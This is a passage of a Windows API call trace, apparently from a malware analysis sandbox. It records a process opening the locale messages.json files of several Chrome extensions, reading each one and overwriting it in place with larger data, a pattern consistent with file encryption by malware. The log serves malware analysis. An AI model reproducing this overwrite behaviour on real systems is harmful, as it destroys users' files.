(hObject=0x1bc) returned 1 [0055.335] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ru\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ru\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bc [0055.335] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0055.335] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x152 [0055.335] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0055.335] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0055.335] ReleaseMutex (hMutex=0x128) returned 1 [0055.335] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0055.335] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6312c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0055.335] ReadFile (in: hFile=0x1bc, lpBuffer=0x253cad8, nNumberOfBytesToRead=0x152, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x253cad8*, lpNumberOfBytesRead=0x304f2bc*=0x152, lpOverlapped=0x0) returned 1 [0055.336] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0055.336] WriteFile (in: hFile=0x1bc, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x6da, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x304f2d0*=0x6da, lpOverlapped=0x0) returned 1 [0055.337] CloseHandle (hObject=0x1bc) returned 1 [0055.337] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_tw\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bc [0055.337] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0055.337] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x10b [0055.337] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0055.337] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0055.338] ReleaseMutex (hMutex=0x128) returned 1 [0055.338] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0055.338] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6302c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0055.338] ReadFile (in: hFile=0x1bc, lpBuffer=0x25fa608, nNumberOfBytesToRead=0x10b, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25fa608*, lpNumberOfBytesRead=0x304f2bc*=0x10b, lpOverlapped=0x0) returned 1 [0055.338] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0055.339] WriteFile (in: hFile=0x1bc, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x693, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x304f2d0*=0x693, lpOverlapped=0x0) returned 1 [0055.339] CloseHandle (hObject=0x1bc) returned 1 [0055.339] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\el\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\el\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bc [0055.339] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0055.339] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0xb3 [0055.339] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0055.339] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0055.340] ReleaseMutex (hMutex=0x128) returned 1 [0055.340] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0055.340] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6312c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0055.340] ReadFile (in: hFile=0x1bc, lpBuffer=0x1e36e88, nNumberOfBytesToRead=0xb3, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e36e88*, lpNumberOfBytesRead=0x304f2bc*=0xb3, lpOverlapped=0x0) returned 1 [0055.340] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0055.341] WriteFile (in: hFile=0x1bc, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x63b, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x304f2d0*=0x63b, lpOverlapped=0x0) returned 1 [0055.341] CloseHandle (hObject=0x1bc) returned 1 [0055.341] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\id\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\id\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bc [0055.341] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0055.341] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0xb3 [0055.341] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0055.341] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0055.342] ReleaseMutex (hMutex=0x128) returned 1 [0055.342] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0055.342] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6302c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0055.342] ReadFile (in: hFile=0x1bc, lpBuffer=0x1e36e88, nNumberOfBytesToRead=0xb3, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e36e88*, lpNumberOfBytesRead=0x304f2bc*=0xb3, lpOverlapped=0x0) returned 1 [0055.343] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0055.343] WriteFile (in: hFile=0x1bc, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x63b, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x304f2d0*=0x63b, lpOverlapped=0x0) returned 1 [0055.343] CloseHandle (hObject=0x1bc) returned 1 [0055.343] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_pt\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bc [0055.343] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0055.343] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0xb3 [0055.343] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0055.344] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0055.344] ReleaseMutex (hMutex=0x128) returned 1 [0055.344] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0055.344] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6312c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0055.344] ReadFile (in: hFile=0x1bc, lpBuffer=0x1e36e88, nNumberOfBytesToRead=0xb3, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e36e88*, lpNumberOfBytesRead=0x304f2bc*=0xb3, lpOverlapped=0x0) returned 1 [0055.345] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0055.345] WriteFile (in: hFile=0x1bc, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x63b, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x304f2d0*=0x63b, lpOverlapped=0x0) returned 1 [0055.345] CloseHandle (hObject=0x1bc) returned 1 [0055.345] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\vi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\vi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bc [0055.346] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0055.346] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0xb3 [0055.346] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0055.346] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0055.346] ReleaseMutex (hMutex=0x128) returned 1 [0055.346] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0055.346] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6302c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0055.346] ReadFile (in: hFile=0x1bc, lpBuffer=0x1e36e88, nNumberOfBytesToRead=0xb3, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e36e88*, lpNumberOfBytesRead=0x304f2bc*=0xb3, lpOverlapped=0x0) returned 1 [0055.347] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0055.347] WriteFile (in: hFile=0x1bc, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x63b, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x304f2d0*=0x63b, lpOverlapped=0x0) returned 1 [0055.347] CloseHandle (hObject=0x1bc) returned 1 [0055.347] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\bg\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\bg\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bc [0055.348] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0055.348] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x12f [0055.348] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0055.348] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0055.348] ReleaseMutex (hMutex=0x128) returned 1 [0055.348] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0055.348] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6312c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0055.348] ReadFile (in: hFile=0x1bc, lpBuffer=0x262e0b8, nNumberOfBytesToRead=0x12f, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x262e0b8*, lpNumberOfBytesRead=0x304f2bc*=0x12f, lpOverlapped=0x0) returned 1 [0055.349] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0055.349] WriteFile (in: hFile=0x1bc, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x6b7, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x304f2d0*=0x6b7, lpOverlapped=0x0) returned 1 [0055.349] CloseHandle (hObject=0x1bc) returned 1 [0055.349] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\et\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\et\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bc [0055.350] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0055.350] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0xe2 [0055.350] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0055.350] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0055.350] ReleaseMutex (hMutex=0x128) returned 1 [0055.350] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0055.350] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6302c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0055.350] ReadFile (in: hFile=0x1bc, lpBuffer=0x25c5178, nNumberOfBytesToRead=0xe2, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25c5178*, lpNumberOfBytesRead=0x304f2bc*=0xe2, lpOverlapped=0x0) returned 1 [0055.351] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0055.351] WriteFile (in: hFile=0x1bc, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x66a, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x304f2d0*=0x66a, lpOverlapped=0x0) returned 1 [0055.351] CloseHandle (hObject=0x1bc) returned 1 [0055.351] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ko\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ko\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bc [0055.352] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0055.352] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0xe0 [0055.352] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0055.352] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0055.352] ReleaseMutex (hMutex=0x128) returned 1 [0055.352] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0055.352] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6312c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0055.352] ReadFile (in: hFile=0x1bc, lpBuffer=0x25c5178, nNumberOfBytesToRead=0xe0, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25c5178*, lpNumberOfBytesRead=0x304f2bc*=0xe0, lpOverlapped=0x0) returned 1 [0055.353] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0055.353] WriteFile (in: hFile=0x1bc, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x668, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x304f2d0*=0x668, lpOverlapped=0x0) returned 1 [0055.353] CloseHandle (hObject=0x1bc) returned 1 [0055.353] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ru\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ru\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bc [0055.354] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0055.354] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0xfe [0055.354] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0055.354] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0055.354] ReleaseMutex (hMutex=0x128) returned 1 [0055.354] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0055.354] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6302c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0055.354] ReadFile (in: hFile=0x1bc, lpBuffer=0x1ddb648, nNumberOfBytesToRead=0xfe, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1ddb648*, lpNumberOfBytesRead=0x304f2bc*=0xfe, lpOverlapped=0x0) returned 1 [0055.355] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0055.355] WriteFile (in: hFile=0x1bc, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x686, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x304f2d0*=0x686, lpOverlapped=0x0) returned 1 [0055.355] CloseHandle (hObject=0x1bc) returned 1 [0055.355] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User 